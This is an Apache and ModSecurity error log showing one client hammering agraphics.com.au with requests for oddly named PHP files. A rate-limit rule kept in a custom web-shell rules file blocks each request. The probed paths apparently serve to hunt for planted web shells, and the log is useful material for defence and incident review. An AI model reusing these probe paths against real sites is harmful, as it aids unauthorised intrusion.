[Mon Mar 02 02:18:12.652264 2026] [proxy_fcgi:error] [pid 53181:tid 53514] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:12.879172 2026] [proxy_fcgi:error] [pid 53181:tid 53535] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:13.088881 2026] [proxy_fcgi:error] [pid 53181:tid 53519] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:13.298236 2026] [proxy_fcgi:error] [pid 53181:tid 53528] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:13.513281 2026] [proxy_fcgi:error] [pid 53181:tid 53525] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:13.819017 2026] [proxy_fcgi:error] [pid 53181:tid 53526] [client 20.220.232.240:43784] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:18:14.840807 2026] [:error] [pid 53181:tid 53537] [client 20.220.232.240:43784] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aaSC5or_0T1SazTrJOBPiAAAARY"]
[Mon Mar 02 02:18:16.006003 2026] [:error] [pid 53182:tid 53560] [client 20.220.232.240:43743] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aaSC6Pv073cA6eM1YCToCwAAANA"]
[Mon Mar 02 02:18:16.636027 2026] [:error] [pid 26940:tid 26962] [client 20.220.232.240:43888] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aaSC6BrUg-j5GLDtRFndzAAAAFI"]
[Mon Mar 02 02:18:17.990002 2026] [:error] [pid 53181:tid 53521] [client 20.220.232.240:43791] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aaSC6Yr_0T1SazTrJOBPiwAAAQY"]
[Mon Mar 02 02:18:18.793143 2026] [:error] [pid 26940:tid 26961] [client 20.220.232.240:43825] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aaSC6hrUg-j5GLDtRFnd3wAAAFE"]
[Mon Mar 02 02:18:19.340567 2026] [:error] [pid 53585:tid 53592] [client 20.220.232.240:43901] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aaSC63bCvYsvu6kKhM3C_QAAAAQ"]
[Mon Mar 02 02:18:20.032277 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43829] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aaSC7BrUg-j5GLDtRFnd6gAAAFQ"]
[Mon Mar 02 02:18:21.196884 2026] [:error] [pid 53182:tid 53568] [client 20.220.232.240:43833] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/post.php"] [unique_id "aaSC7fv073cA6eM1YCToGgAAANg"]
[Mon Mar 02 02:18:22.101231 2026] [:error] [pid 26940:tid 26958] [client 20.220.232.240:43716] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaSC7hrUg-j5GLDtRFnd_wAAAE4"]
[Mon Mar 02 02:18:23.438124 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43871] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaSC7xrUg-j5GLDtRFneDAAAAEg"]
[Mon Mar 02 02:18:24.414922 2026] [:error] [pid 26940:tid 26951] [client 20.220.232.240:43853] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaSC8BrUg-j5GLDtRFneFQAAAEc"]
[Mon Mar 02 02:18:24.930323 2026] [:error] [pid 53180:tid 53454] [client 20.220.232.240:43949] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpo.php"] [unique_id "aaSC8DPPJpDOBvYnaa1mcwAAAYo"]
[Mon Mar 02 02:18:26.104399 2026] [:error] [pid 26940:tid 26968] [client 20.220.232.240:43815] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jq.php"] [unique_id "aaSC8hrUg-j5GLDtRFneJgAAAFg"]
[Mon Mar 02 02:18:26.889349 2026] [:error] [pid 53181:tid 53539] [client 20.220.232.240:43793] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jq.php"] [unique_id "aaSC8or_0T1SazTrJOBPngAAARg"]
[Mon Mar 02 02:18:27.907336 2026] [:error] [pid 53181:tid 53514] [client 20.220.232.240:43876] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jq.php"] [unique_id "aaSC84r_0T1SazTrJOBPpgAAAQA"]
[Mon Mar 02 02:18:29.681766 2026] [:error] [pid 53180:tid 53466] [client 20.220.232.240:43808] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jq.php"] [unique_id "aaSC9TPPJpDOBvYnaa1mfQAAAZY"]
[Mon Mar 02 02:18:30.999735 2026] [:error] [pid 53182:tid 53552] [client 20.220.232.240:43826] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaSC9vv073cA6eM1YCToMwAAAMk"]
[Mon Mar 02 02:18:31.808685 2026] [:error] [pid 53180:tid 53450] [client 20.220.232.240:43726] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaSC9zPPJpDOBvYnaa1mhQAAAYY"]
[Mon Mar 02 02:18:32.659444 2026] [:error] [pid 53181:tid 53527] [client 20.220.232.240:43722] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaSC-Ir_0T1SazTrJOBPvwAAAQw"]
[Mon Mar 02 02:18:33.226315 2026] [:error] [pid 53182:tid 53544] [client 20.220.232.240:43736] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x7.php"] [unique_id "aaSC-fv073cA6eM1YCToPgAAAME"]
[Mon Mar 02 02:18:33.706176 2026] [:error] [pid 53182:tid 53549] [client 20.220.232.240:44022] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aaSC-fv073cA6eM1YCToPwAAAMY"]
[Mon Mar 02 02:18:34.244617 2026] [:error] [pid 53585:tid 53606] [client 20.220.232.240:43699] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aaSC-nbCvYsvu6kKhM3DNQAAABI"]
[Mon Mar 02 02:18:35.026063 2026] [:error] [pid 53585:tid 53602] [client 20.220.232.240:43731] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aaSC-3bCvYsvu6kKhM3DPAAAAA4"]
[Mon Mar 02 02:18:35.661618 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43835] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aaSC-xrUg-j5GLDtRFnehwAAAFQ"]
[Mon Mar 02 02:18:36.492350 2026] [:error] [pid 53182:tid 53548] [client 20.220.232.240:43755] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaSC_Pv073cA6eM1YCToRgAAAMU"]
[Mon Mar 02 02:18:37.186612 2026] [:error] [pid 53585:tid 53600] [client 20.220.232.240:43990] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaSC_XbCvYsvu6kKhM3DRgAAAAw"]
[Mon Mar 02 02:18:38.024653 2026] [:error] [pid 26940:tid 26950] [client 20.220.232.240:43757] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaSC_hrUg-j5GLDtRFneogAAAEY"]
[Mon Mar 02 02:18:38.620615 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:43831] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaSC_hrUg-j5GLDtRFneqQAAAEE"]
[Mon Mar 02 02:18:39.271025 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:43718] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaSC_3bCvYsvu6kKhM3DUgAAAAM"]
[Mon Mar 02 02:18:39.870931 2026] [:error] [pid 53585:tid 53610] [client 20.220.232.240:43872] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaSC_3bCvYsvu6kKhM3DVgAAABY"]
[Mon Mar 02 02:18:40.473472 2026] [:error] [pid 53182:tid 53562] [client 20.220.232.240:43860] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaSDAPv073cA6eM1YCToVgAAANI"]
[Mon Mar 02 02:18:41.766659 2026] [:error] [pid 26940:tid 26962] [client 20.220.232.240:43805] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaSDARrUg-j5GLDtRFnexgAAAFI"]
[Mon Mar 02 02:18:42.526711 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43836] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaSDAnbCvYsvu6kKhM3DYgAAAAs"]
[Mon Mar 02 02:18:43.073178 2026] [:error] [pid 53585:tid 53588] [client 20.220.232.240:43886] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaSDA3bCvYsvu6kKhM3DZQAAAAA"]
[Mon Mar 02 02:18:43.646137 2026] [:error] [pid 26940:tid 26960] [client 20.220.232.240:43881] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaSDAxrUg-j5GLDtRFnezgAAAFA"]
[Mon Mar 02 02:18:44.074017 2026] [:error] [pid 53180:tid 53447] [client 20.220.232.240:43770] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaSDBDPPJpDOBvYnaa1mqAAAAYM"]
[Mon Mar 02 02:18:44.608550 2026] [:error] [pid 53181:tid 53532] [client 20.220.232.240:43830] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaSDBIr_0T1SazTrJOBP6QAAARE"]
[Mon Mar 02 02:18:45.116098 2026] [:error] [pid 26940:tid 26950] [client 20.220.232.240:43725] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaSDBRrUg-j5GLDtRFne2QAAAEY"]
[Mon Mar 02 02:18:45.694656 2026] [:error] [pid 53585:tid 53597] [client 20.220.232.240:43838] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaSDBXbCvYsvu6kKhM3DcgAAAAk"]
[Mon Mar 02 02:18:46.192302 2026] [:error] [pid 53585:tid 53601] [client 20.220.232.240:43810] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaSDBnbCvYsvu6kKhM3DeQAAAA0"]
[Mon Mar 02 02:18:47.323900 2026] [:error] [pid 53585:tid 53611] [client 20.220.232.240:43654] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c4.php"] [unique_id "aaSDB3bCvYsvu6kKhM3DgQAAABc"]
[Mon Mar 02 02:18:47.943872 2026] [:error] [pid 53180:tid 53463] [client 20.220.232.240:43748] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c4.php"] [unique_id "aaSDBzPPJpDOBvYnaa1msQAAAZM"]
[Mon Mar 02 02:18:48.639844 2026] [:error] [pid 53182:tid 53568] [client 20.220.232.240:43983] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c4.php"] [unique_id "aaSDCPv073cA6eM1YCTokgAAANg"]
[Mon Mar 02 02:18:49.475311 2026] [:error] [pid 26940:tid 26959] [client 20.220.232.240:43738] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c4.php"] [unique_id "aaSDCRrUg-j5GLDtRFne_AAAAE8"]
[Mon Mar 02 02:18:50.143960 2026] [:error] [pid 53585:tid 53607] [client 20.220.232.240:43898] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aaSDCnbCvYsvu6kKhM3DigAAABM"]
[Mon Mar 02 02:18:51.120469 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43656] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aaSDCxrUg-j5GLDtRFnfBwAAAEw"]
[Mon Mar 02 02:18:52.009299 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43837] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aaSDDBrUg-j5GLDtRFnfDQAAAEg"]
[Mon Mar 02 02:18:53.367603 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:43769] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eauu.php"] [unique_id "aaSDDRrUg-j5GLDtRFnfGQAAAEE"]
[Mon Mar 02 02:18:54.621799 2026] [:error] [pid 26940:tid 26950] [client 20.220.232.240:43744] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaSDDhrUg-j5GLDtRFnfIwAAAEY"]
[Mon Mar 02 02:18:55.564971 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43799] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaSDDxrUg-j5GLDtRFnfMQAAAEA"]
[Mon Mar 02 02:18:57.411532 2026] [:error] [pid 26940:tid 26965] [client 20.220.232.240:43773] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaSDERrUg-j5GLDtRFnfRQAAAFU"]
[Mon Mar 02 02:18:57.950164 2026] [:error] [pid 53182:tid 53551] [client 20.220.232.240:43658] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaSDEfv073cA6eM1YCTouAAAAMg"]
[Mon Mar 02 02:18:58.478976 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43772] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "aaSDEhrUg-j5GLDtRFnfUwAAAEA"]
[Mon Mar 02 02:18:59.034120 2026] [:error] [pid 53585:tid 53608] [client 20.220.232.240:43740] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "aaSDE3bCvYsvu6kKhM3DswAAABQ"]
[Mon Mar 02 02:18:59.665344 2026] [:error] [pid 53585:tid 53605] [client 20.220.232.240:43723] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/opts.php"] [unique_id "aaSDE3bCvYsvu6kKhM3DuwAAABE"]
